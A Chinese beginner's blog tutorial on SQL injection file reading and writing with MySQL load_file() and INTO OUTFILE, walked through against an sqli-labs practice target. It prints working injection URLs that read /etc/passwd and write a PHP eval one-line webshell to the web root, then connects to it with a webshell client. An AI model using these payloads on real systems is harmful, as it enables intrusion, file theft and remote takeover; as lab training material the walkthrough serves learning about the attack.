大家好,我是阿里斯,一名IT行业小白。今天为大家分享的内容是利用注入进行文件的读写,这里主要是两个函数,load_file() 和into outfile 希望能帮助小白,也能帮助已经遗忘的你。
load_file()和into outfile使用前提
有读/写权限
有绝对路径
secure_file_priv 的值不为null
注入时需要能够使用select语句
引号能否使用
数据库测试
使用load_file读取D盘的3.txt文件
使用into outfile 写入文件4.txt到D盘
那么为什么我能使用这俩个函数呢?因为我在配置文件中设置了secure_file_priv ,如果你想在本地测试,加入该选项后注意重启mysql服务
线上靶机测试
load_file()
测试注入点 | 经过测试存在字符型注入
http://www.anantest.com:8080/sqlilabs/Less-1/?id=1' and 1=1--+
判断查询字段数
http://www.anantest.com:8080/sqlilabs/Less-1/?id=1' order by 3 --+
判断显示位
http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,2,3 --+
进行文件读取
因为系统时centos,所以可以试试/etc/passwd文件,成功读取到配置文件
http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,load_file('/etc/passwd'),3 --+
into ouftile写内容
直接利用上面测试的结果使用into outfile进行测试
第一次写入时,页面会回显错误,其实已经写入成功,可以使用菜刀或者蚁剑连接一下试试
http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,('<?php @eval($_REQUEST["hack"])?>'),3 into outfile "/var/www/html/ma.php"--+
蚁剑连接刚刚写入的一句话木马
成功控制测试机